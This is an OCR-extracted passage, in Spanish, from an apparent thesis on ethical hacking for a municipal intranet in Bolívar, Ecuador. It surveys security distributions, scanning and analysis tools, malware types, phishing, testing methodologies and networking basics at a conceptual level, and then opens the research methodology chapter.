Distribucion Debian-based Debian-based

Propdsito Pruebas de penetracion y Seguridad digital, privacidad y
principal auditorias de seguridad anonimato

Interfaz de Entorno de escritorio GNOME Entorno de escritorio MATE
usuario

Opciones de En vivo, persistente, instalacion  En vivo, persistente, instalacion
inicio

Paquetes de Incluye  herramientas  para Incluye herramientas para pruebas
software pruebas de penetracion, analisis de  penetracion, andlisis de

forense, ingenieria inversay mas seguridad, privacidad y anonimato,

y mas

Actualizaciones  Actualizaciones periddicas de Actualizaciones  periodicas  de

seguridad y paquetes de software seguridad y paquetes de software

Comunidad Gran comunidad y Comunidad activa y documentacion

documentacion

En resumen, ambas distribuciones estan basadas en Debian y estan disefiadas para fines de
seguridad, pero Kali Linux se enfoca méas en pruebas de penetracion y auditorias de seguridad,

mientras que Parrot OS se enfoca en la seguridad digital, privacidad y anonimato.

2.2.24. Termux
Termux es un emulador de una consola o terminal esta disponible en equipos con el sistema
operativo Android el cual permite ejecutar un entorno Linux y funciona sin necesidad de rootear

el dispositivo. En la instalacion este incluye paquetes basicos, para instalar otros paquetes se
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utiliza APT. Este gestor de paquetes lo usan las distros Debian, con esto estan disponibles los
paquetes mas usuales.
2.2.25. Caracteristicas de termux
Seguridad
Permite ingresar a ordenadores o servidores remotos utilizando OpenSSH. De igual manera se
puede usar servidores SSH.
Termux permite seleccionar diferentes Shell, ya sea bash, fish, zsh a la par que admite elegir el
editor de entorno favorito, también permite realizar descargas con el comando wget
Personalizable
Con el gestor de paquetes APT se puede instalar lo que se necesite
Variedad de Herramientas
Incluye herramientas avanzadas que permiten realizar sin numero de operaciones, también
versiones recientes de Perl, Python, Ruby y Node.js
2.2.25.1 Comandos Bdsicos de Termux

e apt update. Actualiza los paquetes disponibles

e apt search [loquesea]. Busca paquetes disponibles

e aptinstall [paquete]. Instala paquetes

e apt upgrade. Actualiza paquetes desactualizados

Figura 14: Termux

Fuente: Adaptado de Terminal emulator with packages [Imagen], por Goes, 2022
2.2.24. Virtualizacién

La tecnologia de virtualizacidon nos permite crear servicios de T1 Utiles donde los recursos estan

limitados al hardware.
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2.2.27. VirtualBox

VirtualBox es un programa de computador para la virtualizacién de sistemas operativos, un
instrumento en donde se puede crear un sistema operativo en el interior de una maquina fisica.
Esto es util si no desea realizar un arranque dual de la computadora.

VirtualBox permite cambiar de sistemas operativos uno en fisico y varios en virtual, es un
software gratis, cualquier persona lo puede probar (L6pez, 2019)

Figura 15: Virtual Box

Fuente: Adaptado de VIRTUALIZACION CON VIRTUALBOX [Imagen], por Roldan, 2022
2.2.27.1 Red Nat
Lared NAT (Network Address Translation) en VirtualBox es un tipo de red virtual que permite
que las méaquinas virtuales que se ejecutan en VirtualBox se comuniquen con redes externas,
como Internet o la red local de la maquina anfitriona.
Enunared NAT, VirtualBox crea una red privada virtual entre la maquina virtual y el adaptador
de red de la maquina anfitriona. Cuando la maquina virtual envia un paquete a través de la red
NAT, VirtualBox cambia la direccion IP del paquete para que parezca que proviene de la
direccion IP del adaptador de red de la maquina anfitriona.
Cuando se recibe una respuesta al paquete, VirtualBox redirige la respuesta a la maquina virtual
correspondiente. De esta manera, la maquina virtual puede comunicarse con otros dispositivos
en la red externa, mientras que sigue estando protegida detras de la direccion IP de la maquina
anfitriona.
La configuracién de la red NAT en VirtualBox es sencilla y no requiere configuracién
adicional, lo que la hace ideal para usuarios que desean una solucién rapida y facil para conectar
sus maquinas virtuales a la red. Sin embargo, la red NAT puede tener limitaciones en términos
de rendimiento y funcionalidad, y puede ser menos adecuada para entornos de red mas

complejos o para aplicaciones que requieren una conectividad de red mas avanzada.
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2.2.27.2 Adaptador Puente

Un adaptador puente en VirtualBox es un tipo de adaptador de red virtual que permite que la
maquina virtual se conecte directamente a la red fisica del host. Esto significa que la maquina
virtual puede comunicarse con otros dispositivos en la red, incluyendo otros hosts en la red
local, dispositivos en Internet y otros dispositivos de la red.

Cuando se configura un adaptador puente en VirtualBox, la maquina virtual se conecta
directamente a una interfaz de red fisica del host y recibe una direccion IP de la misma red que
el host. Esto permite que la maquina virtual sea vista como un dispositivo en la misma red que
el host, lo que es util para aplicaciones que requieren una conectividad completa de red.
Ademas, el uso de un adaptador puente en VirtualBox puede ser Gtil para fines de prueba o
demostracion, ya que permite que la maquina virtual se integre completamente con la red del
host y tenga acceso a los mismos recursos que el host, como impresoras, dispositivos de
almacenamiento y otros dispositivos conectados a la red.

Es importante tener en cuenta que el uso de un adaptador puente en VirtualBox puede ser un
riesgo de seguridad, ya que la maquina virtual tiene acceso completo a la red fisica del host.
Por lo tanto, se deben tomar medidas adicionales para proteger tanto la maquina virtual como
el host y la red en general.

2.2.28. Metasploitable

Metasploitable es un sistema operativo que se disefid con vulnerabilidades para que se logre
ensayar con pruebas de penetracion con el fin de mejorar su seguridad y prevenir los ataques.
En este sistema se puede llevar a cabo todas las pruebas necesarias que permite perfeccionar
las técnicas de seguridad, es un entorno gque no es grafico y se debe utilizar en redes privadas
debido a su tolerancia a ataques.

2.2.29. Escaneo de puertos.

La tecnologia de escaneo de puertos puede detectar e identificar los servicios gque se ejecutan
en un host de destino. EI método utilizado depende del tiempo disponible para la prueba y la
necesidad de sigilo. Sin conocimiento del sistema, se pueden identificar con un escaneo de ping
rapido. Ademas, se debe realizar un escaneo rapido sin verificacion ping para encontrar los
puertos mas disponibles. Una vez hecho esto, se puede ejecutar un andlisis mas completo. Entre

las herramientas utilizadas para esta tarea destaca Nmap. (Guillen, 2017)
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2.2.30. Nmap

Nmap (“Network Mapper") es un escaner de seguridad de software libre y una herramienta de
auditoria de red para el escaneo y la auditoria de seguridad. Esta disefiado para un analisis
rapido de grandes redes y es adecuado para computadoras personales (Toro, 2018).

Entre las principales funciones de esta herramienta, podemos destacar:

Flexible: permite una variedad de métodos avanzados de deteccion de redes con periféricos
como cortafuegos.

Facilidad de uso: Existe una version de linea de comandos y un entorno grafico para varios
sistemas operativos, lo que facilita su uso y viene con documentacion en linea.

+Gratis: este proyecto tiene como objetivo aumentar la seguridad en el entorno técnico al
permitir el uso de herramientas de codigo abierto. Nmap sobresale aqui como una herramienta
que los administradores utilizan activamente en sus operaciones diarias. Todo esto es muy
bienvenido en un entorno empresarial. Nmap también se incluye en el paquete Kali Linux, e
incluso puede usarlo desde su version GUI, Zenmap.

Figura 16: Nmap

Fuente: Adaptado de NMAP ejemplos comandos Utiles [Imagen], por Isaac, 2019

2.2.31. Nessus

Es un software informético para el descubrimiento de debilidades en los sistemas de prueba,
tiene una interfaz de usuario disefiada en HTML 5, esto permite abrirse en cualquier sistema
operativo que permita ejecutar un navegador (actualmente se ejecuta en varios sistemas
operativos). Nessus no solo sefiala las vulnerabilidades del sistema escaneado, sino que también
brinda soluciones (Universidad de Granada, 2019).

2.2.32. Wireshark

Gerald Combs es el creador de Wireshark, una herramienta de analisis de protocolos que se
distribuye como software libre. En la actualidad, se puede utilizar Wireshark en sistemas
operativos Windows y Unix. Originalmente se llamaba Etheral. Su objetivo principal es analizar

el tréfico, pero también es una aplicacion educativa para estudiar la resolucion de problemas de
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comunicacion y red. Wireshark cuenta con una interfaz facil de usar que nos permite desglosar
los protocolos que podemos visualizar.

Beneficios que se pueden obtener al utilizar Wireshark:

Tabla 1. Beneficios de Wireshark

Identificacién de problemas de red

Wireshark posibilita la visualizacion en tiempo real del trafico de red, aquello que hace mas
facil la deteccidn de problemas en la red, tales como puntos criticos que restringen el flujo
de informacidn, latencia o congestion en la red. Con esta informacién, los administradores

de red pueden tomar medidas para optimizar el rendimiento de red.

Solucidn de problemas relacionados con la seguridad.

Wireshark se puede emplear para identificar inconvenientes de seguridad en la red, tales
como intentos de intrusién o trafico malintencionado. Los administradores de red pueden
identificar y bloquear este tipo de trafico para proteger la red y los datos que se transmiten a

traveés de ella.

Analisis de protocolos

Wireshark tiene la capacidad de analizar y desglosar los protocolos de red que se usan Para
la transferencia de informacién, lo que ayuda a los administradores de redes a entender como

funciona la red y como se estan comunicando los dispositivos conectados a ella.

Optimizacion del rendimiento de la red

Wireshark permite identificar las areas de la red que estan experimentando problemas de
rendimiento y tomar medidas para optimizar el rendimiento de la red. Un ejemplo de su
utilidad es que los encargados de la gestion de redes pueden detectar cuales son los protocolos
que estan utilizando una elevada capacidad de transmision de datos y de este modo, tomar

acciones para reducir su uso.

Depuracion de aplicaciones

Asimismo, es posible utilizar Wireshark para depurar programas que intercambian
informacion mediante la conexidn de red. Los desarrolladores pueden utilizar Wireshark para
analizar el tréfico de red generado por su aplicacion y detectar problemas de comunicacion o

de protocolo.

Figura 17: Wireshark
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.
Wire

Fuente: ;What is Wireshark? [Imagen], por Isaac, 2021
2.2.33. Python para hacking ético
Este lenguaje de programacion admite desarrollar scripts para pruebas rapidas de seguridad, es
una gran herramienta que ayuda a hackers éticos como también a cibercriminales, los usos que
se le puede dar dependen de la imaginacion de los usuarios. (Echeverri, 2017)
El hacking con Python es una destreza que radica en utilizar el lenguaje de programacion Python
para llevar a cabo acciones malintencionadas en sistemas informaticos. Aungue es un lenguaje
poderoso y versatil, también puede ser utilizado con fines maliciosos si se le da el uso
incorrecto.
La comunidad de Python ha creado muchos componentes y utilidades que simplifican la
ejecucion de distintas actividades, incluyendo aquellas vinculadas con la proteccion
informatica. Sin embargo, es importante tener en cuenta que el hacking con Python también
puede ser perjudicial para las personas y las empresas que utilizan sistemas informaticos. Los
piratas informaticos que hacen uso de Python tienen la posibilidad de aprovechar las
vulnerabilidades en los sistemas para sustraer informacion sensible o producir dafios.
Aun con los riesgos asociados con el hacking con Python, es importante destacar que también
puede ser utilizado de manera positiva. Por ejemplo, los profesionales de la seguridad
informatica pueden utilizar Python para llevar a cabo pruebas de penetraciéon y evaluar la
seguridad de los ordenadores.
Figura 18: Python

PYTHON

Fuente: Lenguaje de programacién Python, 1. [Imagen], por Ponce, 2021
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2.2.34. Virus informdticos

Son archivos maliciosos que se replican y se propagan en una computadora o en una red,
dafando o interrumpiendo el normal funcionamiento del sistema o de los archivos almacenados
en el mismo.

Los virus informaticos son disefiados para propagarse y ejecutarse sin el conocimiento o la
autorizacion del usuario, y pueden causar dafios a los sistemas, como la eliminacion de archivos
importantes, la corrupcion de datos, la alteracion de la configuracion del sistema, el robo de
informacion confidencial, entre otros. En consecuencia, resulta crucial contar con un software
antivirus de calidad y adoptar préacticas seguras de seguridad informatica para proteger tanto el
ordenador como los datos que se almacenan en él.

2.2.35. Tipos de Virus

Estos son programas maliciosos los cuales se propagan de un sistema a otro, afectando
negativamente el funcionamiento de estos. Estos programas pueden tener una variedad de
efectos negativos, desde la pérdida de datos hasta la interrupcion de los servicios y la exposicién
de informacion confidencial.

Existen varios tipos de virus informéticos, cada uno con su propia forma de operar y causar
dafio. Algunos de los tipos mas comunes incluyen:

e Virus de archivo: Son programas que se replican a si mismos y se insertan en archivos
legitimos, lo que les permite propagarse de un sistema a otro cuando se comparte un
archivo infectado.

e Gusanos: Es software que se multiplica y se propagan a través de la red sin la necesidad
de un archivo legitimo para actuar como huésped.

e Caballos de troya: Son programas disfrazados como software legitimo que se instalan
en un sistema y luego permiten a un atacante acceder y controlar el sistema infectado.

e Adware: Es un tipo de software no deseado que muestra anuncios publicitarios en un
sistema infectado.

e Malware de mineria de criptomonedas: Este tipo de malware utiliza los recursos del
sistema para extraer criptomonedas en segundo plano sin autorizacion.

2.2.36. Ransomware

Ransomware es un tipo de malware que hoy en dia puede propagarse facilmente por Internet.
Este tipo de virus bloguea el acceso y amenaza con destruir la informacion y los activos criticos
almacenados en una computadora al cifrar los archivos o el disco duro de la victima y luego

exigir un rescate para recuperar la informacion o acceder al sistema.
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Figura 19: Ransomware

Fuente: Adaptado de RANSOMWARE caracteristicas de un ransomware [Fotografia], por eset, 2019

2.2.37. Virus Convencionales

Son programas maliciosos con capacidad para multiplicarse, se ocultan en ejecutables (los que
tienen extensiones “.exe”) y que pretenden dafiar a los equipos a los que logran acceder o
corromper

2.2.38. Antivirus

Un antivirus es un software disefiado para detectar, prevenir y eliminar virus informaticos, asi
como otros tipos de programa maligno, como gusanos, troyanos, spyware, adware, entre otros.
Un buen antivirus escanea el sistema en busca de cualquier software malicioso vy, si lo
encuentra, lo elimina o lo aisla para que no cause dafio. Ademas, la mayoria de los antivirus
también proporcionan proteccién en tiempo real, monitoreando todas las actividades en la
computadora y deteniendo cualquier intento de infeccidn antes de que pueda ocurrir. Para una
proteccion adecuada, es importante mantener el software antivirus actualizado y ejecutar

escaneos periodicos en el sistema.

2.2.39. Bitdefender

Bitdefender es una compafiia de seguridad cibernética que proporciona soluciones de seguridad
informaética para consumidores y empresas. Su producto principal es un software antivirus que
ofrece proteccion contra virus, malware, gusanos, troyanos, spyware, adware, entre otros.
Bitdefender también ofrece soluciones de seguridad en linea, como VPN, proteccion de
privacidad y gestion de contrasefas, para ayudar a los usuarios a mantenerse a salvo en linea.
La comparfiia se ha destacado por su tecnologia avanzada. Bitdefender es ampliamente
reconocido por la industria y ha ganado varios premios por su tecnologia de seguridad
informatica.

Figura 20: Bitdefender
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Bitdefender

Fuente: Adaptado de antivirus empresariales. [Imagen], por Sanchez, 2020

Tabla 2. Comparativa de antivirus que maneja el municipio

Caracteristicas

Windows Defender

Bitdefender

Proteccidn antivirus Excelente Buena
Proteccion contra malware Excelente Buena
Proteccién contra ransomware Excelente Buena
Deteccion de amenazas en tiempo real Excelente Buena
Firewall Excelente Basico
Proteccidn de correo electrénico Excelente Basica
Proteccién de navegacion web Excelente Basica
Proteccion de identidad en linea Excelente Basica
Proteccién de redes sociales Excelente Basica
Escaneo de vulnerabilidades del sistema Excelente Basico
Impacto en el rendimiento del sistema Bajo Bajo

Facilidad de uso Excelente Buena
Costo Pagado Gratis

2.2.40. Fases del Hacking Etico

Los auditores o hackers éticos siguen un orden, asi como los crackers, estos pasos 16gicos los

denominan fases:
Tabla 3. Fases del Hacking Etico

Fase 1 Reconocimiento
Fase 2 Escaneo

Fase 3 Obtener acceso
Fase 4 Mantener acceso
Fase 5 Borrar huellas
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Figura 21: Circulos del Hacking
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Fuente: Adaptado de Hacking ético, 1. [Imagen], por Sanchez, 2019

2.2.41. Firewall

Un firewall es un elemento de los méas necesarios en la seguridad de las redes de computadoras,

un cortafuegos (o firewall en inglés) ya sea en hardware(fisico) o software (programa) es el que

protege la intranet de datos de ingresos que no estén acreditados y que se pueden valer de

vulnerabilidades en los sistemas internos. Un firewall no defiende de ataques internos y

tampoco puede ofrecer proteccion una vez atravesado la seguridad (Callegari, 2019).

Figura 22: Firewall

Fuente: Adaptado de Hacking ético, 1. [Imagen], por Sanchez, 2019
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2.2.42. Robo de Credenciales

Es un delito penal en el cual una persona utiliza documentacion y datos identificatorios de otra
persona esto para realizar operaciones, frecuentemente financieras, que implican conductas
delictivas. Un ladron de identidad puede utilizar tarjetas robadas abrir cuentas y robar dinero o
estafar a la gente con informacion falsa (Pacheco & Jara, 2019)

2.2.42.1. Phishing

El phishing es un tipo de ataque de ingenieria social en el que los atacantes intentan engafiar a
los usuarios para que proporcionen informacion confidencial, como contrasefias, nimeros de
tarjetas de crédito, informacion bancaria u otra informacion personal y sensible.

Los ataques de phishing generalmente se llevan a cabo mediante el uso de correos electrénicos,
mensajes de texto 0 mensajes instantaneos que parecen provenir de una entidad legitima, como
un banco, una empresa 0 una organizacion gubernamental. Estos mensajes suelen incluir
enlaces a sitios web falsos 0 maliciosos que parecen legitimos, pero que estan disefiados para
engafiar a los usuarios y hacer que ingresen informacion confidencial.

Los sitios web de phishing suelen ser muy similares a los sitios web legitimos, con logos y
disefios similares, y pueden incluso incluir formularios de inicio de sesién que parecen
auténticos. Cuando un usuario ingresa su informacion en uno de estos formularios, la
informacidn se envia directamente al atacante, lo que le permite obtener acceso a las cuentas
del usuario o utilizar la informacién para cometer fraude.

2.2.42.2. Método GET y POST

GET y POST son dos de los métodos HTTP (Protocolo de Transferencia de Hipertexto) mas
comunes utilizados en la comunicacion entre un cliente (como un navegador web) y un servidor
web.

GET es utilizado para solicitar recursos del servidor. Cuando un usuario solicita una pagina
web, por ejemplo, el navegador envia una solicitud GET al servidor para obtener el HTML de
la pdgina. Los parametros y datos de la solicitud se pasan en la URL como una cadena de
consulta.

Por otro lado, POST es utilizado para enviar datos al servidor. Cuando un usuario envia un
formulario, por ejemplo, el navegador envia una solicitud POST al servidor para enviar los
datos del formulario. Los datos se envian en el cuerpo de la solicitud y no en la URL.

La principal diferencia entre GET y POST es que GET se utiliza para recuperar informacion
del servidor, mientras que POST se utiliza para enviar informacion al servidor. Ademés, GET
tiene limitaciones en cuanto a la cantidad de datos que puede manejar, mientras que POST no

tiene estas limitaciones.
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2.2.43. Metodologias
2.2.43.1 OS Offensive Security
Esta metodologia implica utilizar herramientas de hacking ético con el fin de identificar, de
manera préctica, las vulnerabilidades presentes en empresas o entornos corporativos. Es la
metodologia mas practica que existe, se centra en las herramientas con las cuales se va a llevar
a cabo determinado ataque, se realiza sin comprometer el funcionamiento de las empresas o
instituciones y demuestra cada hallazgo.
2.2.43.2 Owasp
OWASP (Proyecto de Seguridad en Aplicaciones Web Abiertas) es un enfoque de seguridad
cibernética que se enfoca en detectar y evitar debilidades en programas y aplicaciones web.
Esta metodologia se basa en un enfoque colaborativo y abierto, en el que expertos en seguridad
de todo el mundo contribuyen a la identificacion de vulnerabilidades y a la creacion de recursos
para la mejora de la seguridad en aplicaciones web.
OWASP proporciona guias y herramientas que ayudan a los programadores y grupos de
seguridad en la identificacion y correccion de las debilidades méas habituales en aplicaciones
web, como la inyeccién SQL, la inyeccion de comandos, la autenticacion y la gestion de
sesiones deficientes, entre otras.
OWASP provee una metodologia detallada para realizar o ejecutar evaluaciones de seguridad
en software y aplicaciones web, con el objetivo de identificar y documentar vulnerabilidades,
asi como proporcionar recomendaciones y soluciones. Las herramientas de OWASP incluyen
proxies de seguridad, herramientas de prueba de penetracion y herramientas de escaneo de
vulnerabilidades, entre otras.
Tabla 4. Comparativa de Metodologias para hacking

Metodologia  OWASP Offensive Security

Enfoque amplio y colaborativo, Enfoque practico y centrado en la
centrado en la identificacion y realizacion de pentesting y la
eliminacién de debilidades en el identificacion de vulnerabilidades en

Enfoque software y las aplicaciones web. sistemas y redes.

5 etapas: Planificacion, 7 etapas: Reconocimiento, Obtencidn

Recopilacion  de informacion, de informacion, Enumeracion,

Deteccién de vulnerabilidades, Escalada de privilegios,
Explotacion de vulnerabilidades, Mantenimiento del acceso,
Etapas Analisis y documentacién. Recopilacion de pruebas y Limpieza.
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Desarrolladores, equipos de

seguridad y auditores de seguridad

Profesionales de seguridad

informatica 'y  consultores  de
seguridad que realizan pruebas de

penetracion y auditorias de seguridad.

Pablico que buscan mejorar la seguridad de
objetivo aplicaciones web y software.
Identificacion y eliminacion de
vulnerabilidades en aplicaciones
Resultados web y software, y mejora de la
esperados seguridad del software en general.

Identificacion de wvulnerabilidades,
evaluacion de los controles de
seguridad y recomendaciones para

mejorar la seguridad.

OWASP  ZAP,
OpenVAS, Nikto, Nessus,

Burp  Suite,

Herramientas

Metasploit, Nmap, Hydra, Aircrack-
ng, John the Ripper, Wireshark, etc.

Es importante destacar que ambas metodologias tienen un enfoque ético en el hacking y buscan

mejorar la seguridad de los sistemas, pero se diferencian en sus enfoques y objetivos

especificos. OWASP identifica y elimina las vulnerabilidades en aplicaciones web y software,

mientras que Offensive Security su labor consiste en llevar a cabo evaluaciones de seguridad y

pentesting para identificar y registrar vulnerabilidades.

Figura 23: Orden de Offensive Security

1. » Posicionamiento

2,

3. * Perfil Adoptado

4. » Reconocimiento pasivo
G. =

Reconocimiento activo superficial '\\,ﬁ ’

b, *

7. « Andlisis de vulnerabilidades

8. = Explotaciéon o ataque puro

ORDEN DE EJECUCION DE UN ATAQUE SEGUN OFFENSIVE SECURITY

= Consolidacion

11.

13.» Informe Técnico

Reconocimiento activo en profundidad

10. = Borrado del rastro

« Reportes

12.+ Informe Ejecutivo

Fuente: Adaptado de Hacking ético, 1. [Imagen], por Sanchez, 2019
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2.2.44. Servidor

Segun (Alvarez, 2017), el término "servidor" se refiere a un ordenador remoto al que un
navegador accede para obtener datos de otros ordenadores. Asimismo, el servidor almacena
informacidn en formato HTML, como paginas web, y envia esta informacién al usuario a través
del protocolo HTTP. Con frecuencia, los servidores se utilizan para almacenar archivos
digitales.

Figura 24: Modelo cliente-servidor

Client

&
/ _
Client
Server \
&
) Ll

Client Client

Fuente: Adaptado de Hacking ético, 1. [Imagen], por Sanchez, 2019
2.2.45. Protocolo Tep/Ip
TCP/IP es un protocolo de comunicacion de red ampliamente utilizado en Internet y en varias
redes privadas. Este conjunto de protocolos incluye TCP (Transmission Control Protocol), El
cual tiene la responsabilidad de supervisar la transferencia de informacion. y asegurar que los
paquetes de datos sean entregados de forma correcta y completa a su destino.
Por otro lado, IP (Internet Protocol) se ubica a nivel de red y su labor es enrutar los paquetes de
datos a través de la red y de entregarlos al host correcto.
Al trabajar en conjunto, TCP/IP proporciona un método efectivo y seguro para la transferencia
de informacion mediante una red. En resumen, TCP gestiona la transferencia de datos, IP se
encarga de garantizar su entrega. (IBM, 2019).

Figura 25: Suite de Protocolos
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Modelo

TCR/P Suite de Protocolos

(principales)
Capa de

Aplicacio

Capa de
Transporte

Capa de

Internet
IPSEC IGMP

Capa de
Interfaz de Red

Fuente: Adaptado de Suite De Protocolos Tcp/ip - Protocolos Del Modelo Tcp Ip [Fotografia], por Raj, 2017

2.2.46. Ipv4

IPv4 (Protocolo de Internet version 4) es una tecnologia de red utilizada para identificar y
comunicar dispositivos en una red. IPv4 utiliza una direccion de 32 bits, lo que limita el nUmero
de direcciones unicas a aproximadamente 4.3 mil millones. Aunque IPv4 sigue siendo
ampliamente utilizado, la creciente demanda de direcciones IP ha llevado a la adopcidon de IPv6,
que utiliza direcciones de 128 bits y es capaz de admitir un nidmero mucho mayor de
dispositivos conectados a Internet.

Figura 26: Direccion IPv4

Direccion |Pwd

172 . 16 . 254 . 1
+ + + +

10101100 00010000 . 11111110 00000001

1 1
Un byte= Ocho bits

T
Treinta v dos bits (4 x B), o 4 bytes

Fuente: Adaptado de Redes Ipv4 [Imagen], por Sanz, 2021

2.2.47. Red Privada
Una red privada es un sistema de computadoras utilizado Unicamente dentro de una

organizacion, compafiia o grupo especifico, y no esta disponible para su uso por el pablico en
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general. Estas redes se utilizan con el propdsito de facilitar la comunicacion y el intercambio
seguro Yy eficiente de informacién entre los dispositivos y usuarios de la organizacion, sin la
necesidad de acceder a Internet o a redes publicas. Estas redes suelen estar protegidas por
medidas de seguridad adicionales, como firewalls y sistemas de autenticacion, para proteger la
informacion confidencial que se transmite a través de ellas.

2.2.48. Delito informatico

Un delito informatico es aquel que afecta a la informacion de correo electronico, datos
bancarios, datos que se mantiene en un terminal moévil o pc, datos e informacion del sector
publico y privado. El delito o ciberdelito es cualquier actividad ilegal: cometida utilizando
ordenadores, sistemas informaticos con fines fraudulentos (Verdezoto, 2018).

2.2.49. Sanciones en Ecuador

En Ecuador, el hacking o el cracking son considerados delitos informaticos y estan penados por
la ley. La Ley Organica de Telecomunicaciones del Ecuador, que fue modificada en 2013,
establece sanciones penales y civiles para aquellos que cometan delitos informaticos.

Las sanciones incluyen multas, penas de prision y la clausura de sitios web o redes que se
utilicen para cometer delitos informéaticos. Ademas, aquellos que sean encontrados culpables
de hacking o cracking también pueden ser objeto de una orden de allanamiento, que permitiria
a las autoridades confiscar y examinar los equipos de computo y otros dispositivos electronicos
utilizados para cometer el delito.

Ill. METODOLOGIA
3.1. ENFOQUE METODOLOGICO

3.1.1. Enfoque
La investigacion actual empled un enfoque combinado cuali-cuantitativo. Tal como mencionan
Hernandez, Fernandez y Baptista (2014), los estudios cualitativos tienen la capacidad de
formular preguntas e hipotesis antes, durante o después de recolectar y analizar los datos (p. 7).
Segln Sampieri (2007) menciona que el uso de enfoque cualitativo:
Se utiliza para recopilar informacion sin una medida numérica previa, en este enfoque
se puede y no probar hipotesis en el proceso de interpretacion. Su objetivo es rehacer la
realidad tal como la observa los actores.
El proyecto se desarrollara siguiendo un enfoque cualitativo, se requiere de una investigacion
interna, ya que es muy importante las amenazas descubiertas utilizando el hacking para revelar

fragilidades en los servicios de la intranet del municipio de Bolivar.
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Por el parte cuantitativo porque se recolecta datos numéricos en las comparaciones de ataques
informaticos y datos numéricos que salen de entrevistas estructuradas, cuestionarios y analisis
de datos referentes a los ataques que tuvieron efectividad y los ataques que fallaron, mostrando

porcentajes y gréaficos.

3.1.2. Tipo de Investigacion

En el presente proyecto de titulacion se mencionan los diferentes tipos de investigacion que se
tuvieron en cuenta, y son:

3.1.2.1. Investigacion Descriptiva.

En una investigacion descriptiva, se recolectan datos para describir el fendmeno de estudio, En
esta investigacion, se utilizaran técnicas de hacking ético para evaluar la seguridad de la intranet
del GAD Municipal de Bolivar y se describiran las vulnerabilidades encontradas.

3.1.2.2. Investigacion- Accion.

En esta investigacion, una vez identificadas las vulnerabilidades, se tomaron medidas para
solucionarlas y mejorar la seguridad de la intranet del GAD Municipal de Bolivar.

Se caracteriza por ser un proceso ciclico, que implica la identificacién de problemas, la
ejecucion de acciones para resolver los problemas, el analisis de los resultados logrados y la
reflexion sobre el procedimiento seguido. En esta investigacion, este proceso ciclico va desde
el utilizar técnicas de hacking ético para identificar las vulnerabilidades, tomar medidas para
solucionarlas, evaluar los resultados obtenidos y reflexionar sobre el proceso para mejorar la
seguridad de la red.

Se elaborara un plan de seguridad informética que estara orientado a proteger los sistemas
informéticos y los datos del municipio contra amenazas externas e internas. La finalidad
primordial es suministrar datos relevantes que guien la toma de decisiones acerca de los
procedimientos, tecnologia y personas que integran la municipalidad.

3.1.2.3. Investigacion Bibliogrdfica.

Se empled una metodologia bibliogréfica, la cual involucro la utilizacion de varias fuentes de
informacién, como libros, articulos, folletos, revistas, paginas web, monografias, bibliotecas,
entre otros. El objetivo de llevar a cabo esta actividad fue obtener informacién precisa y
actualizada sobre el tema de estudio con el fin de mejorar nuestro entendimiento y conocimiento
acerca del hacking ético.

Esta investigacion brindo una vision detallada y diversa sobre el hacking ético y las

vulnerabilidades. Ademas, posibilitd la sustraccion de informacion confiable, objetiva y
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actualizada, el cual dio un analisis critico y riguroso de la informacién, asi como la
identificacion de tendencias, enfoques y perspectivas en el tema de investigacion.

En definitiva, la investigacion bibliografica resulté ser una metodologia eficaz y valiosa para la
realizacion de la tesis.

3.1.2.4. Investigacion de campo.

La razon principal de esta eleccion radica en que al realizar la investigacion en el lugar donde
se presentan los hechos, se puede obtener una comprension mas profunda y detallada del
problema.

El ambiente de estudio para esta investigacion serd el Gobierno Autdnomo Descentralizado
(GAD) municipal de Bolivar, donde se recopilara informacion de primera mano sobre los
procesos, tecnologias y personas que conforman el municipio, lo que permitira el analisis
detallado de la situacion.

El enfoque en la investigacion de campo Facilitard la identificacion de las causas fundamentales
del problema, lo que a su vez permitira el desarrollo de posibles soluciones que contribuyan a

lograr los objetivos del proyecto.
3.2. IDEA A DEFENDER
El Hacking ético contribuye a analizar y evaluar la seguridad informética y brindara un informe

de seguridad informética fundamentada en una metodologia para el GAD municipal de Bolivar

3.3. DEFINICION Y OPERACIONALIZACION DE LAS VARIABLES

3.2.1. Definicidn de las variables

3.2.2. Operacionalizacién de las variables
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Variable independiente: Hacking Etico

Tabla 5. Operacionalizacion de la variable independiente

Variable Definicion Dimension Indicador Técnica Instrumento
-Perfil Adoptado
-Reconocimiento pasivo
-Reconocimiento activo
superficial Ficha técnica
Pentesting “Reconocimiento activo en Documentacién  Cuadro

Hacking ético

Variable independiente

El hacking ético es una practica
de seguridad informatica que
implica el uso de técnicas y
herramientas de hacking para
identificar wvulnerabilidades y
problemas de seguridad en
sistemas con el objetivo de
mejorar la S.I. (Cruz Valencia,
2018).

profundidad

-Analisis de vulnerabilidades
-Explotacion o ataque puro
-Borrado del rastro
-Reportes

comparativo

Accesibilidad a la
informacion

-Nivel de amenazas
-Nivel de seguridad
-Nivel de ataques

Documentacion,
Entrevista

Cuestionario

Ordenadores

-Cantidad de informacion
disponible
-Integracion con otras

herramientas de seguridad
-Utilizacion de todos los recursos
disponibles

Documentacion,
Entrevista

Cuestionario

Ataques

-Cantidad de puntos de entrada
vulnerables a analisis de paquetes
-Grado de vulnerabilidad expuesto
por descubrimiento de contrasefias,
robo de informacidn, entre otros.

Documentacion,
Entrevista

Cuestionario
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Variable dependiente: Vulnerabilidad en los servicios de la intranet

Tabla 6. Operacionalizacion de la variable dependiente

Vulnerabilidad en
los servicios de la
intranet

Variable dependiente

Las vulnerabilidades en la
intranet hacen referencia a una
debilidad en un servicio o
aplicacion en una red interna de
una organizacion que podria ser
explotada por un atacante para
comprometer la seguridad de la
red y acceder a informacion
confidencial o recursos de la
organizacion. (Romero et al.,
2018).

-Porcentaje de eficacia de las Encuesta
herramientas de seguridad
-Porcentaje de éxito en el uso de las

Planificacion herramientas (prueba de Cuestionario
-Porcentaje de utilizacion de las yylnerabilidad
herramientas disponibles. .

al sistema)

- Namero de procesos

Organizacion - Nivel de complejidad de Encuesta Cuestionario
procesos
- Porcentaje de disponibilidad

Pilares de la seguridad - Porcentaje de integridad Encuesta Cuestionario
- Porcentaje de confidencialidad
-Version de Windows Ficha técnica
-Proteccién del equipo Cuadro
-Porcentaje de vulneracion con Encuesta

Equipos Informaticos

herramientas de hacking (software
y hardware

Documentacion

comparativo
Cuestionario

Manejo de la seguridad

-Cantidad de controles para
mantener niveles de seguridad y
consistencia en el sistema
-Grado de cumplimiento en
relacion con las normas vy
estandares de seguridad
-Metodologia y normas de
seguridad implementadas.

Encuesta
Entrevista

Cuestionario
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3.4. METODOS UTILIZADOS
Durante el proceso de investigacion se aplicaron distintos métodos de investigacion que
contribuyeron a la recopilacién de datos y la obtencion de informacion relevante sobre el GAD

Municipal de Bolivar.

